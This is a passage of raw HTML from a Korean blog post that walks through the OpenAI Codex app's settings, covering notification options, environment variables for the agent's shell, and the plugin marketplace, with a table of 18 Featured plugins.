this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;636&quot; height=&quot;229&quot; data-origin-width=&quot;1522&quot; data-origin-height=&quot;548&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;ul style=&quot;margin: 0 0 15px 20px; padding: 0;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;완료 알림 &amp;mdash; 집중하지 않았을 때만&lt;/b&gt;: 다른 앱에 포커스가 있을 때만 작업 완료를 알린다. 사용 중인 동안엔 조용하다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;권한 알림 활성화&lt;/b&gt;: 권한 승인이 필요한 순간 시스템 알림으로 띄운다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 8px;&quot;&gt;&lt;b&gt;질문 알림 사용&lt;/b&gt;: 에이전트가 사용자에게 질문할 때 알림을 보낸다.&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;추천 프롬프트&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;136&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LC9ax/dJMcajhKDdl/MPIGHoEkaqGTf1yhyeWw4k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LC9ax/dJMcajhKDdl/MPIGHoEkaqGTf1yhyeWw4k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LC9ax/dJMcajhKDdl/MPIGHoEkaqGTf1yhyeWw4k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLC9ax%2FdJMcajhKDdl%2FMPIGHoEkaqGTf1yhyeWw4k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;701&quot; height=&quot;71&quot; data-origin-width=&quot;1344&quot; data-origin-height=&quot;136&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 메뉴 하단의 &lt;b&gt;추천 프롬프트&lt;/b&gt;는 ON/OFF 토글이다. 화면 설명: &quot;프로젝트 파일과 연결된 앱을 검색해 다음에 할 일을 제안합니다.&quot; 즉 사용자가 사내 가이드를 직접 등록하는 곳이 아니라, Codex가 현재 프로젝트 컨텍스트를 보고 후속 작업 후보를 띄워 주는 옵션이다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a2a; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;환경 메뉴 &amp;mdash; 실행 환경 변수 &amp;middot; 셸 통합&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;사이드바 7번 &lt;b&gt;환경&lt;/b&gt; 메뉴는 에이전트 실행 시 주입할 환경 변수를 GUI에서 등록하는 곳이다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;482&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/NW6Rv/dJMcaciFIhU/GGmAGpEzkIdYqc1gV19lK1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/NW6Rv/dJMcaciFIhU/GGmAGpEzkIdYqc1gV19lK1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/NW6Rv/dJMcaciFIhU/GGmAGpEzkIdYqc1gV19lK1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FNW6Rv%2FdJMcaciFIhU%2FGGmAGpEzkIdYqc1gV19lK1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;485&quot; height=&quot;161&quot; data-origin-width=&quot;1454&quot; data-origin-height=&quot;482&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1584&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5XXEC/dJMcabjNczn/g0SonmDI1b6kibaDBEKEK0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5XXEC/dJMcabjNczn/g0SonmDI1b6kibaDBEKEK0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5XXEC/dJMcabjNczn/g0SonmDI1b6kibaDBEKEK0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5XXEC%2FdJMcabjNczn%2Fg0SonmDI1b6kibaDBEKEK0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1424&quot; height=&quot;1584&quot; data-origin-width=&quot;1424&quot; data-origin-height=&quot;1584&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;API 키&amp;middot;프록시 주소&amp;middot;내부 서비스 엔드포인트처럼 하드코딩하기 싫은 값을 여기 넣어 두면 에이전트가 셸 명령을 돌릴 때 해당 변수를 자동으로 받는다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;시스템 &lt;code&gt;~/.zshrc&lt;/code&gt;나 &lt;code&gt;.env&lt;/code&gt; 파일을 직접 열지 않아도 된다는 점이 편리하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f5f0; padding: 15px; border-radius: 8px; border-left: 4px solid #10a37f; margin: 0 0 20px 0;&quot;&gt;&lt;b&gt;다른 에이전트 설정 가져오기는 섹션 9에서&lt;/b&gt;&lt;br /&gt;
&lt;p style=&quot;margin-top: 6px;&quot; data-ke-size=&quot;size8&quot;&gt;일반 메뉴 화면 하단에 있는 &quot;다른 에이전트 설정 가져오기&quot;는 별도 영역이라 섹션 9 개인 맞춤에서 자세히 다룬다.&lt;/p&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- ===== 섹션 4: 플러그인 ===== --&gt;
&lt;h2 id=&quot;plugins&quot; style=&quot;font-size: 24px; color: #1a3a2a; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #a3d9c8; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. 플러그인 마켓 &amp;mdash; Featured 18개 외 다수&lt;/b&gt;&lt;/h2&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;308&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/oF1Zb/dJMcaiiR0MX/vKowaJIsil8l9QPhnObtF0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/oF1Zb/dJMcaiiR0MX/vKowaJIsil8l9QPhnObtF0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/oF1Zb/dJMcaiiR0MX/vKowaJIsil8l9QPhnObtF0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FoF1Zb%2FdJMcaiiR0MX%2FvKowaJIsil8l9QPhnObtF0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;208&quot; height=&quot;131&quot; data-origin-width=&quot;490&quot; data-origin-height=&quot;308&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;2162&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/brlyRQ/dJMcacJLpNN/kj1p1NvtUrWTztpoKW7K1K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/brlyRQ/dJMcacJLpNN/kj1p1NvtUrWTztpoKW7K1K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/brlyRQ/dJMcacJLpNN/kj1p1NvtUrWTztpoKW7K1K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbrlyRQ%2FdJMcacJLpNN%2Fkj1p1NvtUrWTztpoKW7K1K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;580&quot; height=&quot;773&quot; data-origin-width=&quot;1622&quot; data-origin-height=&quot;2162&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Codex 앱은 OpenAI가 큐레이트한 GUI 플러그인을 한곳에 모아두었다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;공식 문서에서 플러그인은 앱&amp;middot;스킬&amp;middot;MCP 서버를 묶어 Codex가 할 수 있는 일을 확장하는 단위로 설명된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Built by OpenAI&lt;/b&gt; 필터로 보면 &lt;b&gt;Featured 카테고리에 18개&lt;/b&gt;, 그 외에 &lt;b&gt;Coding / Design / Lifestyle / Productivity&lt;/b&gt; 등 여러 카테고리가 추가로 보이며 총 50개 이상이 노출된다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;아래 표는 그중 가장 자주 쓰이는 Featured 18개를 카테고리별로 정리한 것이다. 플러그인 목록은 자주 추가&amp;middot;변경되므로 정확한 개수와 항목은 화면에서 직접 확인하는 편이 안전하다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 20px 0; font-size: 14px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr style=&quot;background-color: #e8f5f0;&quot;&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;플러그인&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;설명 (GUI 그대로)&lt;/th&gt;
&lt;th style=&quot;padding: 12px 15px; text-align: left; border: 1px solid #a3d9c8; font-weight: 600;&quot;&gt;카테고리&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Computer Use&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Control Mac apps from Codex&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;앱/시스템 제어&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Browser Use&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Control the in-app browser with Codex&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;웹 탐색&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Spreadsheets&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Create and edit spreadsheet files&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;파일 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Presentations&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Create and edit presentations&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;파일 작업&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;GitHub&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Triage PRs, issues, CI, and publish flows&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;개발 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Slack&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Read and manage Slack&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Notion&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Notion workflows for specs, research,...&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Linear&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Find and reference issues and projects.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;개발 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Statsig&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Bring your Statsig workspace into Codex.&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;개발 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Gmail&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Read and manage Gmail&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Google Calendar&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Manage Google Calendar events and...&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Google Drive&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Work across Drive, Docs, Sheets, and...&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Teams&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Summarize Teams and draft follow-ups&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;SharePoint&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Summarize SharePoint sites and files&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Outlook Email&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Triage Outlook inboxes and draft replies&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Outlook Calendar&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Manage Outlook schedules and meetings&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;업무 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Figma&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Design-to-code workflows&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;디자인/개발&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f4fbf8;&quot;&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;&lt;b&gt;Vercel&lt;/b&gt;&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;Build and deploy web apps and agents&lt;/td&gt;
&lt;td style=&quot;padding: 10px 15px; border: 1px solid #a3d9c8;&quot;&gt;개발 도구&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;위 18개는 Featured 카테고리이고,&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;그 외&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Coding&lt;/b&gt; 카테고리에 Hugging Face / Netlify / CircleCI / Cloudflare / Sentry / Build iOS &amp;middot; macOS &amp;middot; Web Apps / Test Android Apps / Expo / CodeRabbit / Neon Postgres / Supabase / Codex Security 등&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Design&lt;/b&gt;에 Canva / Remotion / BioRender / HyperFrames&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Productivity&lt;/b&gt;에 Documents / Atlassian Rovo / Jam / Stripe / Box / Amplitude 등이 추가로 보인다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;일반 플러그인은 &lt;b&gt;설정 &amp;rarr; 플러그인 &amp;rarr; + 버튼&lt;/b&gt;으로 추가한다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;OAuth가 필요한 항목은 클릭 시 별도 인증 창이 뜬다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;Computer Use는 공식 문서 기준 &lt;b&gt;설정 &amp;rarr; Computer Use&lt;/b&gt;에서 설치하며, 프롬프트 내용상 필요하다고 판단되면 대화 입력창 위에 &lt;b&gt;설치 유도 배너&lt;/b&gt;가 뜰 수도 있다.&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;ex) Computer Use 권한 요청&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1386&quot; data-origin-height=&quot;298&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dLHmuL/dJMcaiDawNy/j9kWy2wSC1cJ1e2EoNHr2k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dLHmuL/dJMcaiDawNy/j9kWy2wSC1cJ1e2EoNHr2k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dLHmuL/dJMcaiDawNy/j9kWy2wSC1cJ1e2EoNHr2k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdLHmuL%2FdJMcaiDawNy%2Fj9kWy2wSC1cJ1e2EoNHr2k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1386&quot; height=&quot;298&quot; data-origin-width=&quot;1386&quot; data-origin-height=&quot;298&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;638&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Xi6Tk/dJMcaarDjsS/RzvQkVmQxJgposUK7wKYl1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Xi6Tk/dJMcaarDjsS/RzvQkVmQxJgposUK7wKYl1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Xi6Tk/dJMcaarDjsS/RzvQkVmQxJgposUK7wKYl1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FXi6Tk%2FdJMcaarDjsS%2FRzvQkVmQxJgposUK7wKYl1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;667&quot; height=&quot;277&quot; data-origin-width=&quot;1534&quot; data-origin-height=&quot;638&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bu3PJs/dJMcaffqVEG/WkWrm6RtbxMA7km3Hke8KK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bu3PJs/dJMcaffqVEG/WkWrm6RtbxMA7km3Hke8KK/img.png&quot; style=&quot;width: 48.8765%; margin-right: 10px;&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;1168&quot; data-origin-width=&quot;1206&quot; data-widthpercent=&quot;49.45&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bu3PJs/dJMcaffqVEG/WkWrm6RtbxMA7km3Hke8KK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbu3PJs%2FdJMcaffqVEG%2FWkWrm6RtbxMA7km3Hke8KK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1206&quot; height=&quot;1168&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/KTlCC/dJMcaipEJAC/DHOFublR0qY2FDuOWOr3Q0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/KTlCC/dJMcaipEJAC/DHOFublR0qY2FDuOWOr3Q0/img.png&quot; style=&quot;width: 49.9607%;&quot; data-is-animation=&quot;false&quot; data-origin-height=&quot;938&quot; data-origin-width=&quot;990&quot; data-widthpercent=&quot;50.55&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/KTlCC/dJMcaipEJAC/DHOFublR0qY2FDuOWOr3Q0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKTlCC%2FdJMcaipEJAC%2FDHOFublR0qY2FDuOWOr3Q0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;990&quot; height=&quot;938&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;

&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;한 번에 너무 많이 연결하면 권한 알림이 누적되니, 실제로 쓰는 것만 켜두는 편이 깔끔하다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;Computer Use 지역 제한&lt;/b&gt;&lt;br /&gt;
